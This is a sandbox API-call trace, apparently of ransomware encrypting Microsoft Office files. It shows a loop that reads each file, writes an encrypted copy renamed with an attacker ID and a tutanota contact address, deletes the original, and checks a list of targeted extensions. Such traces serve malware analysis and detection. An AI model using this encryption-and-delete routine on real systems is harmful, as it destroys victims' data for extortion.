	[0260.532] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x3590, lpOverlapped=0x0) returned 1
	[0260.533] ReadFile (in: hFile=0x354, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.533] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0260.533] SetEndOfFile (hFile=0x330) returned 1
	[0260.533] CloseHandle (hObject=0x330) returned 1
	[0260.533] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.533] SetEndOfFile (hFile=0x354) returned 1
	[0260.536] CloseHandle (hObject=0x354) returned 1
	[0260.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 1
	[0260.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.539] lstrlenW (lpString=".doc") returned 4
	[0260.539] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString=".docx") returned 5
	[0260.539] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0260.539] lstrlenW (lpString=".pdf") returned 4
	[0260.539] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString=".xls") returned 4
	[0260.539] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString=".xlsx") returned 5
	[0260.539] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0260.539] lstrlenW (lpString=".ppt") returned 4
	[0260.539] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.539] lstrlenW (lpString=".zip") returned 4
	[0260.539] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString=".rar") returned 4
	[0260.539] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString=".bz2") returned 4
	[0260.539] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString=".7z") returned 3
	[0260.539] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.539] lstrlenW (lpString=".dbf") returned 4
	[0260.539] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.539] lstrlenW (lpString=".1cd") returned 4
	[0260.539] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0260.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.539] lstrlenW (lpString=".jpg") returned 4
	[0260.540] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.540] lstrlenW (lpString=".doc") returned 4
	[0260.540] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString=".docx") returned 5
	[0260.540] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0260.540] lstrlenW (lpString=".pdf") returned 4
	[0260.540] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString=".xls") returned 4
	[0260.540] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString=".xlsx") returned 5
	[0260.540] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0260.540] lstrlenW (lpString=".ppt") returned 4
	[0260.540] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.540] lstrlenW (lpString=".zip") returned 4
	[0260.540] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString=".rar") returned 4
	[0260.540] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString=".bz2") returned 4
	[0260.540] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString=".7z") returned 3
	[0260.540] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.540] lstrlenW (lpString=".dbf") returned 4
	[0260.540] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.540] lstrlenW (lpString=".1cd") returned 4
	[0260.540] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0260.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68
	[0260.540] lstrlenW (lpString=".jpg") returned 4
	[0260.541] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0260.541] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0260.541] lstrlenW (lpString="EQPLIST.VRD") returned 11
	[0260.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.736] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=1699) returned 1
	[0260.736] CloseHandle (hObject=0x354) returned 1
	[0260.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 0x20
	[0260.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.923] GetLastError () returned 0x0
	[0260.923] ReadFile (in: hFile=0x358, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x6a3, lpOverlapped=0x0) returned 1
	[0260.947] WriteFile (in: hFile=0x33c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x6b0, lpOverlapped=0x0) returned 1
	[0260.948] ReadFile (in: hFile=0x358, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.948] WriteFile (in: hFile=0x33c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0260.948] SetEndOfFile (hFile=0x33c) returned 1
	[0260.948] CloseHandle (hObject=0x33c) returned 1
	[0260.948] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.948] SetEndOfFile (hFile=0x358) returned 1
	[0260.950] CloseHandle (hObject=0x358) returned 1
	[0260.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 1
	[0260.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.993] lstrlenW (lpString=".doc") returned 4
	[0260.993] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0260.993] lstrlenW (lpString=".docx") returned 5
	[0260.993] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0260.993] lstrlenW (lpString=".pdf") returned 4
	[0260.993] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0260.993] lstrlenW (lpString=".xls") returned 4
	[0260.993] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0260.993] lstrlenW (lpString=".xlsx") returned 5
	[0260.993] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0260.993] lstrlenW (lpString=".ppt") returned 4
	[0260.993] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0260.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.993] lstrlenW (lpString=".zip") returned 4
	[0260.993] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0260.994] lstrlenW (lpString=".rar") returned 4
	[0260.994] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString=".bz2") returned 4
	[0260.994] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString=".7z") returned 3
	[0260.994] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0260.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.994] lstrlenW (lpString=".dbf") returned 4
	[0260.994] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.994] lstrlenW (lpString=".1cd") returned 4
	[0260.994] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.994] lstrlenW (lpString=".jpg") returned 4
	[0260.994] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.994] lstrlenW (lpString=".doc") returned 4
	[0260.994] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString=".docx") returned 5
	[0260.994] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0260.994] lstrlenW (lpString=".pdf") returned 4
	[0260.994] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString=".xls") returned 4
	[0260.994] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0260.994] lstrlenW (lpString=".xlsx") returned 5
	[0260.994] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0260.994] lstrlenW (lpString=".ppt") returned 4
	[0260.994] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0260.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.994] lstrlenW (lpString=".zip") returned 4
	[0260.995] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0260.995] lstrlenW (lpString=".rar") returned 4
	[0260.995] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0260.995] lstrlenW (lpString=".bz2") returned 4
	[0260.995] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0260.995] lstrlenW (lpString=".7z") returned 3
	[0260.995] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0260.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.995] lstrlenW (lpString=".dbf") returned 4
	[0260.995] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0260.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.995] lstrlenW (lpString=".1cd") returned 4
	[0260.995] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0260.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59
	[0260.995] lstrlenW (lpString=".jpg") returned 4
	[0260.995] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0260.995] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0260.995] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17
	[0260.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.041] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=641) returned 1
	[0261.041] CloseHandle (hObject=0x360) returned 1
	[0261.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 0x20
	[0261.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.042] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.042] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.042] GetLastError () returned 0x0
	[0261.042] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x281, lpOverlapped=0x0) returned 1
	[0261.098] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x290, lpOverlapped=0x0) returned 1
	[0261.099] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.099] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0261.099] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.099] CloseHandle (hObject=0x2a4) returned 1
	[0261.100] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.100] SetEndOfFile (hFile=0x360) returned 1
	[0261.101] CloseHandle (hObject=0x360) returned 1
	[0261.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 1
	[0261.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.102] lstrlenW (lpString=".doc") returned 4
	[0261.102] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0261.102] lstrlenW (lpString=".docx") returned 5
	[0261.102] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0261.102] lstrlenW (lpString=".pdf") returned 4
	[0261.102] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0261.102] lstrlenW (lpString=".xls") returned 4
	[0261.102] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0261.102] lstrlenW (lpString=".xlsx") returned 5
	[0261.102] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0261.102] lstrlenW (lpString=".ppt") returned 4
	[0261.102] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0261.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.102] lstrlenW (lpString=".zip") returned 4
	[0261.102] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0261.102] lstrlenW (lpString=".rar") returned 4
	[0261.103] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0261.103] lstrlenW (lpString=".bz2") returned 4
	[0261.103] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0261.103] lstrlenW (lpString=".7z") returned 3
	[0261.103] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0261.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.103] lstrlenW (lpString=".dbf") returned 4
	[0261.103] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0261.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.103] lstrlenW (lpString=".1cd") returned 4
	[0261.103] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0261.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.103] lstrlenW (lpString=".jpg") returned 4
	[0261.103] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0261.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.103] lstrlenW (lpString=".doc") returned 4
	[0261.103] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0261.103] lstrlenW (lpString=".docx") returned 5
	[0261.103] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0261.103] lstrlenW (lpString=".pdf") returned 4
	[0261.103] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0261.103] lstrlenW (lpString=".xls") returned 4
	[0261.103] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0261.103] lstrlenW (lpString=".xlsx") returned 5
	[0261.103] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0261.103] lstrlenW (lpString=".ppt") returned 4
	[0261.103] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0261.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.103] lstrlenW (lpString=".zip") returned 4
	[0261.103] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0261.104] lstrlenW (lpString=".rar") returned 4
	[0261.104] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0261.104] lstrlenW (lpString=".bz2") returned 4
	[0261.104] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0261.104] lstrlenW (lpString=".7z") returned 3
	[0261.104] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0261.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.104] lstrlenW (lpString=".dbf") returned 4
	[0261.104] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0261.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.104] lstrlenW (lpString=".1cd") returned 4
	[0261.104] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0261.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65
	[0261.104] lstrlenW (lpString=".jpg") returned 4
	[0261.104] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0261.104] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0261.104] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17
	[0261.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.104] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=209) returned 1
	[0261.104] CloseHandle (hObject=0x360) returned 1
	[0261.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 0x20
	[0261.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.105] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.105] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.105] GetLastError () returned 0x0
	[0261.105] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xd1, lpOverlapped=0x0) returned 1
	[0261.106] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe0, lpOverlapped=0x0) returned 1
